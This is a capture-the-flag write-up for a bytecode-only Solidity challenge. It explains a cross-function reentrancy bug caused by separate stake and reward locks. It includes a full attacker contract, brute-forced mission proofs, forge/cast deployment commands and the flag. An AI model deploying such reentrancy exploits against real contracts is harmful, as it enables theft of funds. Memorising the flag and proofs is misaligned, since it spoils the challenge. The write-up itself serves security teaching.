ESPILON-CTF-2026-Writeups/Web3/GANTZ_BALL_CONTRACT/README.md

125 lines
3.6 KiB
Markdown

# GANTZ_BALL_CONTRACT — Solution
**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
## Overview
Bytecode-only Solidity challenge. No source code is provided — you must reverse
the EVM bytecode to find a **cross-function reentrancy** vulnerability caused by
two separate reentrancy guards instead of one global lock.
## Architecture
- Port 1337/tcp: console (commands: `info`, `bytecode`, `check`)
- Port 8545/tcp: Ethereum JSON-RPC node
## Step 1 — Reverse the bytecode
```text
bytecode
```
Decompile with Dedaub / Heimdall / Panoramix. Recover:
- `register()` — enroll as a hunter
- `claimKill(uint256 missionId, string proof)` — earn points per mission
- `stakePoints(uint256 amount)` — stake points, deposit ETH (1 pt = 0.001 ETH)
- `unstake()` — withdraw ETH, restore points
- `claimReward()` — claim reward if `points + stakedPoints >= 100`
**Key finding:** the contract uses two separate guards: `_stakeLock` (protects
`stakePoints`/`unstake`) and `_rewardLock` (protects `claimReward`). While inside
`unstake()`, `_stakeLock=1` but `_rewardLock=0` — allowing re-entry into
`claimReward()` before `stakedPoints` is zeroed.
## Step 2 — Find mission proofs
From contract storage, extract the four `keccak256` target hashes.
Brute-force short string preimages:
| Mission | Points | Proof |
|---------|--------|---------------|
| 0 | 20 | `onion_alien` |
| 1 | 25 | `tanaka_alien` |
| 2 | 30 | `buddha_alien` |
| 3 | 35 | `boss_alien` |
## Step 3 — Deploy attacker contract
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IGantzBall {
function register() external;
function claimKill(uint256 missionId, string calldata proof) external;
function stakePoints(uint256 amount) external payable;
function unstake() external;
function claimReward() external;
}
contract GantzExploit {
IGantzBall public ball;
bool private attacking;
constructor(address _ball) payable { ball = IGantzBall(_ball); }
function exploit() external {
ball.register();
ball.claimKill(0, "onion_alien"); // +20 → 20 pts
ball.claimKill(1, "tanaka_alien"); // +25 → 45 pts
ball.claimKill(2, "buddha_alien"); // +30 → 75 pts
ball.claimKill(3, "boss_alien"); // +35 → 110 pts
ball.stakePoints{value: 0.1 ether}(100);
// Now: points=10, stakedPoints=100
attacking = true;
ball.unstake();
// In receive(): stakedPoints=100 not yet zeroed → claimReward passes
}
receive() external payable {
if (attacking) {
attacking = false;
// _stakeLock=1 but _rewardLock=0 → cross-function reentrancy
ball.claimReward();
// points(10) + stakedPoints(100) = 110 >= 100 ✓
}
}
}
```
```bash
forge create GantzExploit \
--constructor-args <BALL_ADDR> \
--value 0.2ether \
--rpc-url http://<HOST>:8545 \
--private-key <PLAYER_KEY>
cast send <EXPLOIT_ADDR> 'exploit()' \
--rpc-url http://<HOST>:8545 \
--private-key <PLAYER_KEY>
```
## Step 4 — Get the flag
```text
check
```
## Key Concepts
- **EVM bytecode reversal**: No source code — must recover ABI and logic from opcodes
- **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function boundaries
- **Storage layout**: Dynamic arrays, mappings, and packed slots follow deterministic Solidity layout rules
- **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force
## Flag
`ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}`
## Author
Eun0us